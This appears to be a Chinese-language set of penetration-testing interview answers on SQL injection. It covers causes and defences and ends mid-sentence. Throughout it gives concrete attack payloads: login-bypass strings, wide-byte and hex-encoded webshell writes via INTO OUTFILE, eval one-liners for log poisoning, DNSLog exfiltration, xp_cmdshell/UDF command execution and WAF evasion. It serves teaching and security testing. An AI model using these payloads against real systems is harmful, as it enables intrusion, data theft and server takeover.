1、介绍 SQL 注入漏洞成因,如何防范?sql 注入的几种类型?除了数据库数据,利用方式还有哪些?
SQL 注入的根本原因是:数据与代码未分离,程序将用户的可控输入直接拼接到 sql 语句中,导致输入的内容被当作 sql 代码执行,而非单纯的数据。
举例:后端代码:SELECT * FROM users WHERE id = '"+$id+"'
- 正常输入
1→ 执行... id='1' - 恶意输入
1'OR'1'='1→ 执行... id='1' OR '1'='1',条件恒真,返回所有用户。
防范 sql 注入手段需要采用纵深防御,不仅仅是过滤:
- 核心手段: 强制采用预编译语句(参数化查询、PDO),这是 sql 注入防御手段的最根本的方法。用户输入的参数只作为参数绑定,而不会作为代码执行。
- 权限控制: 要遵循最小权限原则(降权),Web 应用链接的数据库的账户禁止拥有管理员权限(root),要限制其对数据库文件及其他库的读写操作。
- 输入输出层: 要对用户的输入严格校验和白名单过滤(例如使用
addslashes()函数转义危险字符),同时在网络层部署 waf 进行恶意流量拦截。并且不要将数据库错误直接回显到页面,防止报错注入。
按注入技巧分类(重点):
- 回显注入(Union 联合查询注入)
- 报错注入(利用
extractvalue、updatexml、floor等函数强行报错带出数据) - 盲注(bool 盲注、时间盲注(
sleep())、dnslog 外带注入) - 堆叠注入(利用分号
;结束当前语句并执行多条 sql 语句)
按请求位置分类:GET 注入、POST 注入、Cookie 注入、HTTP 头注入(User-Agent、Referer、XFF 等)。
按数据操作分类:除了常见的 select 注入,还有 insert、Update、Delete 注入(通常用于注册用户、修改资料、删除留言等业务场景)。
按注入点位置分类:
- 数字型(不需要闭合引号)
- 字符型(需要闭合单引号或双引号)
- 搜索型(like ‘%xxx%’,需闭合 %)
- 宽字节注入(GBK 编码下反斜杠被吃掉)
除了数据库数据,利用方式还有哪些?
- 绕过认证逻辑: 比如在后台登录处经典的万能密码(
admin'or'1'='1#),直接绕过密码验证登录系统。 - 读写系统文件: 在满足特定条件(如允许
secure_file_priv、具有 root 权限、知道绝对路径)下,使用load_file()函数读取系统敏感配置文件,或者使用into outfile/dumpfile向 Web 目录写入 Webshell。 - 系统命令执行与提权:
- Mysql:通过写入动态链接库进行 UDF 提权,或者在低版本 win 系统下利用 MOF 提权,从而执行系统命令。
- MSsql:开启并利用
xp_cmdshell扩展存储过程,直接执行系统 cmd 命令。
- 拒绝服务(dos): 通过构造极其复杂的 sql 查询语句(如
benchmark函数耗时操作),瞬间耗尽数据库的 cpu 和内存资源,导致业务瘫痪。
2、mybaits 的参数化查询能不能有效的控制 sql 注入?有没有危险的方法可以造成 sql 注入?
- MyBatis 的参数化查询(
#{})底层依赖 JDBC 的PreparedStatement,通过预编译将 SQL 结构与参数分离,能有效的防止数据型 SQL 注入。#{id}会被 MyBatis 处理为 预编译占位符?,然后通过PreparedStatement安全设置参数。 - 但实际开发中,仍有两种典型的场景会引入风险,一是使用
${}直接拼接用户的输入,二是使用 LIKE、ORDER BY、动态标识符等语法结构本身不支持?占位,开发者被迫使用${}。 - 防御上,所有的值参数类型统一使用
#{};模糊查询使用CONCAT()函数走#{}预编译;动态标识符(表名、列名、ORDER BY 字段、ASC/DESC)必须做白名单校验,参数化查询不是万能的,预编译加输入校验才是完整防线。
3、宽字符注入的原理?如何利用宽字符注入漏洞,payload 如何构造?如何解决?
原理:宽字符注入的核心原因是 PHP 端与数据库编码不一致导致的转义失效。
- 当 php 对用户的输入进行过滤时(例如使用
addslashes()或者开启了magic_quotes_gpc),会将用户输入的单引号'转义为\'。 - 单引号的十六进制是
%27。反斜杠\的十六进制是%5c。 - 如果 MySQL 数据库的客户端连接编码被设置为 GBK。GBK 编码认为两个字节代表一个汉字(前提是第一个字节的 ASCII 码大于 128)。
- 此时,如果我们构造
%df'(即%df%27),php 过滤后会变成%df\'(十六进制为%df%5c%27)。 - 当数据进入 mysql 时,mysql 会将
%df%5c%27识别为一个繁体字 “運”,原本的%df%5c%27就会变成運 '。 - 反斜杠
%5c被前面的%df成功吃掉,单引号'逃逸出来,闭合前面的 sql 语句,从而导致 sql 注入。
payload 构造:
- 假设原本的查询语句为:
SELECT * FROM users WHERE username = '$user' - 攻击输入:
admin%df' or 1=1# - php 转义后:
admin%df\' or 1=1#(十六进制:admin%df%5c%27 or 1=1#) - 数据库 GBK 解析后:
SELECT * FROM users WHERE username = 'admin 運' or 1=1#' - 最终效果:
or 1=1恒为真,成功绕过登录或者获取数据。
解决手段:
- 方案一: 统一使用 UTF-8 编码,避免使用 GBK 这种存在多字节歧义的字符集。并且强制使用 PDO 预编译,彻底隔离代码与数据。
- 方案二: 如果由于历史遗留原因强制使用 GBK 编码,就不能只使用
addslashes()转义,必须使用mysql_real_escape_string()函数进行转义,并且在转义前,必须使用mysql_set_charset('gbk')来设置字符集。这样 PHP 在转义时就会考虑到 GBK 编码的特性,从而避免反斜杠被吃掉的问题。
4、mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?
- 权限条件(不仅仅是 root): 当前连接的数据库必须要有 FILE 权限(或者叫 FIle_priv),虽然实战中通常只有 root 权限才有此权限,但技术本质是 FILE 权限。
- 路劲与写权限条件: 必须获取目标 Web 站点的绝对物理路(如
C:\wwwroot\html\或/var/www/html/),并且 MySql 的运行进程(如 mysql.exe、mysqld)对该物理目录具有写入权限。 - 环境配置条件: MySql 的全局系统变量
secure_file_priv必须为空。- 如果为 NULL:彻底禁止数据库执行导入导出操作,也就无法写入 shell
- 如果为某个特定目录:则只能向该指定目录写入,通常无法向 web 目录写入 shell
- 如果为空字符串
"":只有这种情况运行向任意具有写入权限的目录写文件
- 语法和闭合条件: 注入点必须可以使用 Union 联合查询(因为 into outfile 不能用于报错或者盲注等纯逻辑判断场景)。同时,传入的 payload 也不能被完全过滤(比如单引号被过滤拦截,可以考虑将一句话 webshell 写成十六进制 HEX 编码来绕过,比如将 转成
0x3c3f70687020706870696e666f28293b3f3e)。
5、如何突破注入时字符被转义?
- 宽字节注入: 当数据库连接编码设置为
GBK等双字节字符集,且 PHP 端未能正确同步字符集时,可以在单引号前加入%df。PHP 转义后变为%df%5c%27。由于GBK的特性,MySQL 会将%df%5c解析为一个合法的汉字(如“運”),从而“吃掉”了反斜杠,让单引号成功逃逸。 - 十六进制编码绕过(规避单引号): 在 MySQL 中,对于字符串数据,可以完全不适用单引号包裹,而是直接使用其十六进制形式。比如查
username='admin',用于单引号被转义,可以写成username = 0x61646d696e。或者满足写入文件的条件时,就可以将写入路径转换为Hex形式,这也是经典应用。 - 使用内置函数绕过: 与十六进制类似,可以利用数据库内置的函数动态生成字符串,比如可以将
'admin'替换为CHAR(97,100,109,105,110),同样不用使用单引号,无视转义机制。 - 寻找数字型注入点: 如果注入点在整型参数处(如
?id=1),其后端的 SQL 语句很可能是SELECT * FROM table WHERE id = $id。这种情况下变量本身就没有被单引号包裹,直接输入1 AND 1=2 UNION SELECT...即可,即使系统对单引号做了转义,也没有任何影响。
6、sql 注入漏洞只能查账号密码?
SQL 注入获取账号密码(数据泄露)仅仅是冰山一角。SQL 注入的破坏力取决于当前数据库运行的权限以及数据库的类型。通常可以从以下五个维度来利用:
- 业务逻辑方面: 典型的就是利用
admin'or'1'='1万能密码构造永真条件,直接绕过后台登录界面的身份验证,获取管理员权限。 - 数据操作层面: 不仅仅查数据,如果注入点存在于
UPDATE、INSERT、DELETE中,攻击者可以篡改核心业务数据,甚至恶意清空数据库。 - 文件读写层面:
- 读文件: 在具备较高权限时,可以使用
load_file()读取服务器的敏感文件(如 Linux 的/etc/passwd、id_rsa私钥,或中间件配置文件),进一步获取服务器信息。 - 写文件: 利用
into outfile、into dumpfile或开启general_log(全局日志),直接向 Web 物理目录写入 Webshell,接管网站控制权。
- 读文件: 在具备较高权限时,可以使用
- 操作系统层面:
- MySQL: 可以写入动态链接库来创建 UDF,从而以数据库服务的运行权限来执行系统命令;低版本 windows 还能利用 MOF 提权。
- MSSQL: 可以开启
xp_cmdshell组件,或者利用sp_oacreate等存储过程执行系统命令。
- 数据库 DOS: 攻击者可以构造恶意的 SQL 查询(例如利用
benchmark()函数执行几百万次哈希运算,或者制造巨大的多表笛卡尔积查询),瞬间耗尽数据库主机的 cpu 和内存资源导致拒绝服务攻击。
7、注入时可以不使用 and 或 or 或 xor, 直接 order by 开始注入吗?
完全可以直接使用 order by 或者其他方式开始注入。在实际的渗透测试中,可以跳过 and/or/xor,主要有以下几个方面原因:
- 规避 WAF 拦截(最常见): 现在稍微成熟点的防御体系或者 WAF,对
and 1=1、or 1=1这种经典探测的 payload 拦截的非常死,特征太明显了。如果一上来就用这些关键字,不仅容易被拦截,还可能导致 ip 封禁。这种时候通过直接在参数后面加order by 1和order by 999,通过页面返回正常与否,或者通过页面长度差异,来静默判断是否存在注入。 - 注入点本身属于特殊位置(如 ORDER BY 注入): 如果业务场景本身就是一个列表排序功能(比如
?sort=id),后端的 sql 语句可能是SELECT * FROM users ORDER BY [注入点]。在 ORDER BY 后面跟着 and、or 往往会导致数据库语法报错。这种情况下,必须直接使用 ORDER BY 相关的注入技巧。比如跟上 IF 语句进行时间盲注,或者利用报错函数进行报错注入。 - 探测注入点的替代方案很多: 在手工测试时,除了逻辑运算符,还可以使用算术运算符(比如
id=2-1,看页面是否与id=1一样)或者字符串拼接(如id=1' '1)来探测,这些比 and/or 更隐蔽,也更符合实战。
8、如何利用防注入系统的日志记录功能拿 shell?
利用防注入系统或者 WAF 中的日志记录功能拿 shell,通常被称为日志投毒。它的核心逻辑是利用防御系统会记录非法请求的特性,故意将被拦截的请求中写入一句话木马,使其写入日志文件,再想办法触发执行,在实战中主要有以下几个步骤和场景:
- 1. 故意出发拦截,投递 payload: 攻击者故意构造一个一定会被拦截的请求(比如在 url 参数中,UA 或者 HTTP 投中插入
and 1=1 <?php eval($_POST['cmd']);?>)。防注入系统检测到 sql 注入的特征后,就会拦截这个请求,并将这段包含 PHP 代码的完整 URL 和 Header 记录到它的日志文件中。 - 2. 触发执行的三种常见实战场景: 将木马写入日志后,重点在于如何让日志里的代码执行:
- 配合文件包含漏洞(LFI,最常见): 日志文件通常是
.log或者.txt结尾,无法直接作为脚本解析。但如果目标站点存在本地文件包含漏洞,包含该文件时,里面的 php 代码就会成功解析执行。 - 日志文件后缀配置不当 / 解析漏洞: 在早期的一些 CMS 或防注入 ASP/PHP 脚本中,系统可能直接将日志文件放在 web 目录下,甚至以
.asp或者.php结尾(比如常见的sqlin.asp记录文件);或者利用 IIS/Nginx 的解析漏洞(如waf.log/.php),直接访问日志就能拿到 shell。 - 后台日志审计 XSS 盲打转 shell: 投递的可能不是一句话木马,而是一段 XSS 探针(如
<script src=xxx></script>)。当管理员登录后台查看防注入系统的拦截日志时,触发存储型 XSS,借此窃取管理员 Cookie,登录后台后再利用正常的后台功能上传 Shell。
- 配合文件包含漏洞(LFI,最常见): 日志文件通常是
9、sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由: A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选择 B,不选 A 的理由主要基于以下两点,包括 Web 请求层面的机制或数据库引擎底层的特性:
- Web 请求层面的 URL 编码机制(核心原因): 在 HTTP GET 请求中,URL 里的
+号是一个特殊字符,会被 Web 服务器(这里是 jsp,也就是 tomcat)自动 URL 解码为空格。所以,如果直接发送id=2+1,后端程序接收到的实际参数值为2 1。带入 sql 语句会变成类似WHERE id = 2 1,这会导致数据库语法报错,无法达到测试注入点的目的。而-号在 URL 中没有特殊含义,会原样传递给后端。 - 数据库底层的隐式类型转换与数学运算特性: 在使用算术运算符进行注入测试(即看
id=2-1是否和id=1的页面一样),本质上就是在验证输入是否被当作代码执行。- 如果是字符型注入点: 在 MySQL 等主流数据库中,减号
-是严格的数学运算符。MySql 碰到减号会触发隐式类型转换,尝试把字符串当作数字进行计算,最终依然会按1来执行查询。 - 如果是 + 号: 在不同的数据库中语义容易产生分歧。例如在 SQL Server 中,
+号除了加法,还是字符串拼接符('2'+'1'会变成'21')。这种语义的不确定性,加上 URL 解码的坑,使得+号作为探测 Payload 极其不稳定。
- 如果是字符型注入点: 在 MySQL 等主流数据库中,减号
10、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?demo.do?DATA=AjAxNg==
针对这种明显经过编码的变形注入,实战测试思路分为以下四个核心步骤:
- 初步解码: 第一眼看到末尾的
==,可以初步判断为 Base64 编码。先对其解码,看看解码后的原生数据格式是什么样的。可能是各种数据格式,例如纯字符、纯数字、json 数据、xml 等,知道格式后,才知道单引号 / 双引号该怎么闭合。 - 借助自动化工具进行发包测试: 在实际打点中,手工每次把 payload 进行 base64 编码不仅效率低下,而且如果是盲注根本没法测试。因此我会借助工具:
- 手工半自动化: 在 BP 中的 Intruder 模块,利用 payload processing 功能,设置 add prefix/ add suffix,并在最后一步添加
Encode:base64,进行批量发包测试。 - 自动化测试: 如果丢给 SQLMap。就直接使用自带的 Tamper 脚本,比如加上
--tamper="base64encode.py"参数,让 SQLMap 在发送每个探测 payload 前自动进行 Base64 编码。
- 手工半自动化: 在 BP 中的 Intruder 模块,利用 payload processing 功能,设置 add prefix/ add suffix,并在最后一步添加
- 利用编码特性尝试绕过 WAF: 这种场景对攻击者有利,因为很多基础版的 WAF 往往只检测外部流量,如果没有对 Base64 进行解码审查,那这个业务本身的编码机制就能绕过 WAF,注入的
union select或sleep()变成了一堆毫无恶意的 Base64 字符,极易穿透防护。 - 结合.do 盲猜技术栈: URL 后缀为
.do,大概率后端是 java 技术栈。在 Java 站点的注入中,往往没有报错回显,一般会采用时间盲注 或者 DNSlog 外带注入进行快速探测验证。
11、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell, 哪种是优选?
在发现 JSP 站点的 SQL 注入点后,通常会有以下三种核心思路来获取 WebShell
1. 通过数据库直接写文件(常规但限制极大):
利用数据库自身的导出功能(如 MySQL 的 into outfile)。但前提条件严苛:需要 DBA 权限、知道 Web 绝对路径、且数据亏运行导出(如 MySQL 的 secure_file_priv 未被限制),同时 Web 目录要有写权限。这在目前的实战中成功率极低。
2. 利用数据库自带高危组件执行系统命令(OS-Shell):
如果目标站点背后是 SQL Server 且权限足够,可以直接开启 xp_cmdshell 执行系统命令。如果是 MySQL,可以尝试写入 UDF.dll 进行提权;如果是 Oracle,可利用 java 类或者系统包执行命令。或者通过命令行 echo 写入一个定时任务文件,或者直接反弹一个 shell。
3. 信息搜集获取后台权限,利用业务功能拿 Shell(实战最优选):
- 先得到数据库管理员的账号密码(有加密就去解密)。
- 如果密码解不出,利用注入去读取系统核心配置文件(如
database.properties、web.xml等),或者利用注入读取任意文件获取系统各种密钥。 - 拿着账号密码登录到 Web 后台,再通过后台自带的业务功能(如:头像上传、模板编辑、插件安装、ZIP 解压)去上传或写入 JSP 木马 / 内存马。
12、sqlmap, 怎么对一个注入点注入?
基础探测:
- 如果是简单的 GET 请求,直接使用
sqlmap -u "URL"。 - 实战中,更喜欢结合 BP,把数据包保存为完整的 txt 文件,然后使用
sqlmap -r 文件名.txt进行注入。这样不仅能覆盖 POST 请求,连 Header 中的注入点也能一并测到。如果明确哪个参数有漏洞,可以加上-p 参数名来节省扫描时间。
参数调优与 WAF 对抗:针对常规手段跑不出来或者被拦截
- 提升扫描深度: 默认情况下 sqlmap 扫描不到 Header 头和一些复杂 payloads,可以加上
--level--risk参数提升扫描深度。 - 规避拦截: 加上
--random-agent伪造请求头,或者加上--delay 2降低发包频率防止 IP 被封。如果遇到 WAF,会配合--tamper="xxx.py"加载绕过脚本。还可以通过--proxy把流量代理到 BP 中,方便人工审查 WAF 拦截规则。
数据利用与后渗透:
- 如果确定存在注入点,按照
--dbs->--tables–>columns–>dump获取敏感数据。 - 如果权限足够,会尝试
--os-shell获取交互式命令行,或者使用--file-read/--file-write读取配置文件、写入 webshell。后续根据需要结合环境尝试 UDF 提权等操作。
13、报错注入的函数有哪些?(至少 10 个)
关于报错注入的函数,实战中常用的一般就三四个。但在 MySQL 底层,触发报错注入的函数主要分为三大类(XML 类、数学运算类、空间几何类),总计有十几个:
- 最常用、最高效的 XML 解析函数:这是实战中首选,基于 Xpath 语法错误来回显数据。
updatexml():最常用的报错函数。extractvalue():与上面类似,也是利用参数格式不符来报错。- (注:实战中这俩函数报错回显长度最大只有 32 字节,遇到长数据需要结合
substr截取)
- 基于数学运算与主键冲突的函数:
floor():这是最经典的报错注入,利用 group by 和 rand() 产生主键冲突报错。它的优势就是没有 32 字节的长度限制。exp():以 e 为底的指数函数,利用传递一个超大数值导致Double value is out of range(溢出报错)来带出数据。
- 空间几何与数据类型报错(为了凑齐数量的备用函数,6 个以上)
- 在 MySQL 5.7.x 等特定版本中,处理空间几何(GIS)数据的函数 if 传入非法格式,同样会触发报错并将执行结果带出来。这就好记了,全都是几何图形相关的单词:
geometrycollection()(几何集合)、multipoint()(多点)、polygon()(多边形)、multipolygon()(多多边形)、linestring()(线段)、multilinestring()(多线段)
14、延时注入如何来判断?
判断是否存在延时注入,核心原理确实是通过构造带有延时函数(如 sleep)的 SQL 语句,观察服务器响应的时间差来推断条件是否成立。在实际的渗透测试中,为了保证准确率,主要分为以下几个维度:
- 确定基线响应时间: 在进行延时判断前,不能盲目直接加上
sleep(5)。互联网环境存在网络抖动,先发送几次正常的请求,记录目标站点的平均响应时间(基线时间)(比如正常是 0.5 秒)。 - 构造 Payload 进行验证:
- 假条件测试: 发送类似
and if(1=2, sleep(5), 1)。此时页面响应时间应该约等于基线时间(0.5 秒)。 - 真条件测试: 发送类似
and if(1=1, sleep(5), 1)。如果此时页面响应时间明显变成了 5.5 秒左右。
- 假条件测试: 发送类似
- 结合脚本化与工具化判断: 在手工确定存在注入点后,如果为了跑数据,延时注入是及其耗时的,手工不现实,所以需要配合工具。可以直接使用 SQLMap,并通过
--time-sec=5调整判定延迟阈值,防止由于网络较差导致 SQLMap 产生误判。 - 规避函数过滤: 如果发现
sleep()函数被 WAF 拦截或被禁用,可以切换判断手法。比如在 MySQL 中使用benchmark()函数执行大量重复的 MD5 运算来制造服务器物理延时,或者利用笛卡尔积(多表联查)这种‘重型查询’来代替sleep达到延时的效果。
15、盲注和延时注入的共同点?
从严格的安全漏洞分类来看,延时注入本身就是盲注的一个核心分支(盲注主要分为布尔盲注和延时盲注)。所以如果要谈论这两种注入机制,从它们的共同点以及实战中的差异与选择策略来阐述:
它们的核心共同点(为什么都叫盲注)
- 无数据直接回显: 无论是布尔还是延时,它们所处的业务场景都是前端页面屏蔽了数据库的报错信息,且无法通过
UNION SELECT直接将查询结果在页面渲染展示。 - 数据获取机制相同: 它们都不能一次性带出整条数据,必须利用
substr()、ascii()等函数配合逻辑判断,按字节、按位逐个猜解,因此获取数据的效率都相对较低。 - 高度依赖自动化: 在实战中,无论是页面特征对比还是时间差对比,纯手工提取完整数据的成本极高,通常都需要编写 Python 脚本或依赖 SQLMap 等自动化工具进行闭环。
实战中的差异点与优先级策略
- 判断依据不同: 布尔盲注依靠“页面表象的差异”(如页面长度变了、HTTP 状态码变了、某个关键字消失了)来判断
True/False;而延时盲注完全无视页面内容,纯靠“网络响应时间差”来判断。 - 实战优先级(先布尔,后延时): 在渗透打点时,只要页面有任何细微的逻辑真假差异,优先采用布尔盲注。因为延时盲注(
sleep)不仅受网络抖动影响极大、容易产生误判,而且极其耗时,频繁发起sleep请求还容易造成目标数据库连接数占满(拒绝服务)或触发防御设备的频率限制。 - 兜底方案: 只有当目标页面对任何输入都返回一模一样的静态内容(例如一个仅返回 JSON 状态的通用 API),布尔盲注彻底失效时,延时盲注才会作为最后的兜底检测手段出场。
16、sql 注入写文件都有哪些函数?
在 MySQL 中,写文件严格来说并不是通过独立的函数,而是通过 SELECT … INTO 语句来实现的。实战中主要有以下几种方式和考量:
最常用的两种写文件语句及区别
- INTO OUTFILE(写文本 /Webshell): 最经典的写文件方式。它的特点是可以导多行数据,但在导出时会对特殊字符进行转义,并且会在行末默认加上换行符。所以它只适合写入纯文本后门(如 PHP/JSP 一句话木马)。
- INTO DUMPFILE(写二进制 /UDF 提权): 它只能导出一行数据,且不会对任何字符做转义和修改,原路输出。在实战中,如果我们想往服务器写入编译好的
.dll或.so动态链接库文件来进行 UDF 提权,必须使用dumpfile,否则导出的二进制文件会被破坏导致无法加载。
传统写文件的三大苛刻前提:
- 权限够高: 当前数据库用户必须拥有
FILE权限(通常是 root 或 DBA 权限)。 - 知道绝对路径: 必须知道 Web 目录在服务器上的物理绝对路径,且该目录拥有写入权限。
- 配置允许: MySQL 的核心配置
secure_file_priv必须为空(允许导出到任意目录)。如果是NULL(默认值,禁止导出)或者指定了特定目录,就会直接报错。
17、如何判断注入?
判断一个输入点是否存在 SQL 注入,在实战中通常会遵循先报错、再布尔、后延时、最后外带的黑盒测试方法论,逐步递进进行验证:
- 引发数据库异常(报错测试): 首先会输入最基础的闭合字符,如单引号
'、双引号"、反斜杠\或者括号)。如果页面直接抛出了数据库的底层错误(如You have an error in your SQL syntax),或者页面布局直接崩溃了,这说明输入被带入了解析引擎,大概率存在注入。 - 页面内容差异比对(布尔 / 算术测试): 如果屏蔽了报错,我会利用逻辑运算或数学运算来观察页面变化:
- 算术运算: 如把
id=2改为id=3-1,如果页面返回与id=2完全一致,说明存在整型注入。 - 逻辑真假值对比: 像输入
admin'and 1=1#(页面正常)和admin' and 1=2#(页面异常或查不到数据)。通过这种一真一假的明显对比,来确诊字符型注入或布尔盲注。
- 算术运算: 如把
- 基于时间的探测: 如果页面的任何输入都返回一模一样的结果(比如一个盲目的 API 接口,只返回
{"status":"success"}),可以使用sleep(5),配合if条件。如果发包后服务器响应时间明显增加了 5 秒左右,排除了网络抖动后,即可确诊存在延时盲注。 - DNSLog 带外探测: 如果是盲注场景,为了避免网络抖动导致的误判,可在参数中拼接
load_file()去请求 DNSLog 平台(如\\\\xxx.dnslog.cn\\a)。只要在平台上收到了 DNS 解析记录,就 100% 确认注入存在,且确诊目标出网。
18、注入有防护怎么办?
遇到有防护(WAF)的情况,我了解到 WAF 主要是通过正则匹配或者黑名单来拦截危险字符的
- 利用基础变形绕过黑名单: 如果防护比较初级,可以尝试最基础的变形
- 大小写交替: 比如把
select写成SeLeCt,绕过对全小写的死板拦截。 - 双写绕过: 如果后端有过滤机制会把
select替换为空,可以会构造selselectect,这样它删掉中间的select后,剩下的字母刚好又拼成了一个完整的select。
- 大小写交替: 比如把
- 替换掉敏感的空格与符号: 很多 WAF 会重点拦截
union select这种带有空格的组合词。可以把空格替换掉- 用 URL 编码替换空格: 比如换成
%0a(换行符)或者%09(Tab 键)。 - 用内联注释替换空格: 把
union select写成union/**/select。
- 用 URL 编码替换空格: 比如换成
- 敏感函数的等价替换: 如果 WAF 把
and、or或者=号直接拉黑了,可以寻找数据库里的等价写法- 把
and换成&&,把or换成||。 - 把
=号换成like。 - 把
sleep()换成benchmark()。通过这种同义词替换,往往能绕过很多死板的规则。
- 把
- HTTP 特性绕过: 利用 WAF 对 HTTP 协议的解析差异绕过
- 头注入: 把 payload 放在
User-Agent、Referer、Cookie等 WAF 可能检测不严的 HTTP 头里; - 参数污染: 利用不同服务器对重复参数的处理差异(比如 PHP 取最后一个,ASP 取第一个),提交
id=1&id=1' union select 1,2--+,WAF 可能只检测第一个参数,服务器却执行第二个; - 分块传输: 把 HTTP 请求体分成多个小块传输,绕过 WAF 的一次性检测。
- 头注入: 把 payload 放在
- 结合工具辅助测试: 如果是手工测出了一定的绕过规律,需要跑数据的时候,可以使用
sqlmap,并通过加上--tamper参数(比如space2comment.py、charencode.py等官方自带的脚本)来让工具发出的每个请求都自动进行混淆绕过。
19、有没有写过 tamper?
有写过,也专门学习过 Tamper 脚本的底层逻辑。因为我觉得不能只停留在会用工具的阶段,所以之前用 Python 自己动手写过一个基础的绕过脚本。虽然逻辑比较简单,是一个将关键字转换为大小写混合(比如把 select 变成 sElEcT)的 Tamper,但通过这个过程,我完全掌握了 SQLMap 加载绕过脚本的原理:
- 核心结构: 知道每一个 Tamper 脚本里面都必须定义一个
tamper(payload, **kwargs)函数。SQLMap 在每次发包前,都会把原始的 SQL 语句传给这个函数的payload参数。 - 处理逻辑: 在这个函数里面,使用了 Python 的正则或者字符串操作模块(比如
random库),把传入的payload里的关键字进行随机的大小写替换。 - 返回结果: 最后用
return payload把混淆后的语句返回给 SQLMap,工具就会拿着这个新的语句去发包测试。
虽然目前手写的脚本还比较基础,但已经完全具备了编写和修改 Tamper 的框架能力。以后如果在实战中发现了新的 WAF 绕过规律(比如把空格替换成某种特殊注释),有能力自己用 Python 把它写成 Tamper 来实现自动化测试。
20、为什么参数化查询可以防止 sql 注入?
参数化查询能防止 SQL 注入,根本原因在于它强制实现了数据与代码的严格分离。以 PHP 的 PDO 预编译(Prepare Statement)为例,它的底层防御机制可以分为两步:
- 第一步:发送语法模板(解析与编译)。
程序首先会将带有占位符(比如?或:id)的 SQL 语句骨架发送给数据库引擎。数据库在这个阶段会进行词法解析、语法分析,并提前生成这句 SQL 的执行计划(抽象语法树 AST)。此时,SQL 的逻辑结构已经被彻底固定下来了。 - 第二步:发送参数数据(执行)。
随后,程序再把用户输入的内容作为纯数据发送给数据库去填充占位符。
防注入的核心就在这里: 因为 SQL 的语法树在第一步就已经构建完毕了,哪怕用户输入的参数中含有单引号 '、OR 1=1 或者 -- 注释符,数据库也绝不会再进行二次编译。数据库引擎只会死板地把这些注入代码当作一个字面量字符串(单纯的文本)去处理。也就是说,如果用户输入 1' OR '1'='1,数据库最终寻找的是 id 等于这个奇葩字符串的记录,而不是去执行这段逻辑。这就从根本上杜绝了输入篡改代码逻辑的可能。
21、盲注是什么?怎么盲
盲注发生在 Web 应用屏蔽了数据库的报错信息,并且页面无法通过 UNION SELECT 直接回显查询结果的场景。 它的核心特征是‘无回显’,我们只能通过构造特定的判断条件,向数据库提出‘是’或‘否’的问题,根据页面的不同反馈来逐个字节地猜解数据。因为无法一次性带出数据,我们获取数据必须遵循‘按位剥离、逐个猜解’的机制。
- 常用函数: 会使用
length()判断字符串长度,再用substr()或mid()按字节截取字符,最后用ascii()将字符转换为数字。
盲注分类与实战优先级策略:
- 首选:布尔盲注(页面差异化对比)
只要页面对我们的逻辑判断(如and 1=1/and 1=2)有任何细微的特征变化——比如 HTTP 状态码改变、某个关键字消失或内容长度变化,我都会优先使用布尔。因为它相对稳定。 - 兜底:延时盲注(时间差对比)
如果页面没有任何变化(比如通用的只返回 JSON 状态的 API),我会使用sleep()或benchmark()进行延时盲注。但实战中这是最后的兜底方案,因为sleep极度受限于网络抖动,容易误判;而且极其耗时,频繁发包甚至可能导致数据库连接池被占满(引发拒绝服务),或者直接触发 WAF 的高频访问拦截。 - DNSLog 外带(带外注入)
如果目标系统出网,且是 Windows 或开启了特权的文件读写,为了规避延时盲注的低效和网络抖动,我会果断拼接load_file()发起 DNS 请求。只要 DNSLog 平台收到解析记录,不仅 100% 确认漏洞,还能直接将查询结果一次性外带出来,极大提升效率。
22、sql 里面只有 update 怎么利用?
针对仅有 UPDATE 语句的 SQL 注入场景,虽然无法直接使用 UNION SELECT 来拼接结果,但依然可以通过以下四种核心方式进行利用:
- 利用更新字段实现“数据回显”(最经典)
这是针对“修改昵称”、“修改签名”这类场景最巧妙的利用方法。既然程序会将用户的输入更新到数据库,并在页面上展示出来,那么可以直接将要查询的数据作为子查询,赋值给这些会被展示的字段。- 原理: 将输入闭合后,利用括号嵌入
SELECT子查询。 - Payload 示例: 假设原语句是
UPDATE users SET nickname = '输入值' WHERE id = 1。 - 可以输入:
'+ (SELECT database()) +'或者直接传入子查询(SELECT password FROM users WHERE username='admin')。 - 结果: 更新成功后,刷新个人资料页面,账号的昵称就会变成当前的数据库名或管理员的密码。
- 原理: 将输入闭合后,利用括号嵌入
- 报错注入(前提是页面开启了报错回显)
如果目标系统在 SQL 语句执行失败时会返回底层的错误信息,可以使用报错注入。- 原理: 利用
updatexml()、extractvalue()或floor()等函数在执行时产生的特定错误,将目标数据带出。 - Payload 示例: 输入
1' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#。数据库在执行UPDATE时解析到updatexml报错,就会把查到的数据通过错误信息抛到前端页面。
- 原理: 利用
- 逻辑篡改与越权利用(修改他人数据或提权)
既然是 UPDATE 操作,除了获取数据,还可以利用注入来直接篡改核心业务数据,实现越权或逻辑漏洞。- 增加修改字段(提权): 利用逗号
,闭合当前字段,去修改本不该被修改的字段(如权限字段)。例如输入admin', role='superadmin,原本只是改昵称,结果顺便把自己的权限改成了超级管理员。 - 篡改 WHERE 条件(越权): 利用
OR闭合原本的WHERE条件,去修改其他用户的密码或资料。例如在修改密码时输入newpass'WHERE username='admin'#,从而强制修改管理员的密码。
- 增加修改字段(提权): 利用逗号
- 延时盲注(作为最后的兜底)
如果页面既不报错,更新后的字段值前端也看不到(比如只返回一个“更新成功”的提示框),可以采用延时盲注。- 原理: 在
SET或WHERE子句中引入IF和sleep()函数。 - Payload 示例: 输入
admin' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 0)#。通过观察服务器响应时间是否延长,来逐位猜解数据。
- 原理: 在
23、sql 如何写 shell?
在实战中,通过 SQL 注入获取 WebShell 通常有以下三种维度的利用方式:
1. 常规文件写入(INTO OUTFILE / DUMPFILE)
这是最经典的方式,但条件极其苛刻。成功利用通常需要满足三个绝对的前置条件:
- 当前数据库用户具备
FILE权限(最高权限)。 - 数据库配置文件中的
secure_file_priv参数为空(允许写入任何路径),而不是NULL。 - 必须已知 Web 站点的绝对物理路径,且该路径具备可写权限。
- 实现: 直接通过
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';写入木马。
2. 数据库日志投毒(实战进阶方案)
当 secure_file_priv 做了路径限制导致无法使用 OUTFILE 时,可以考虑日志投毒。
- 实现: 如果数据库用户权限足够高,可以通过 SQL 注入执行
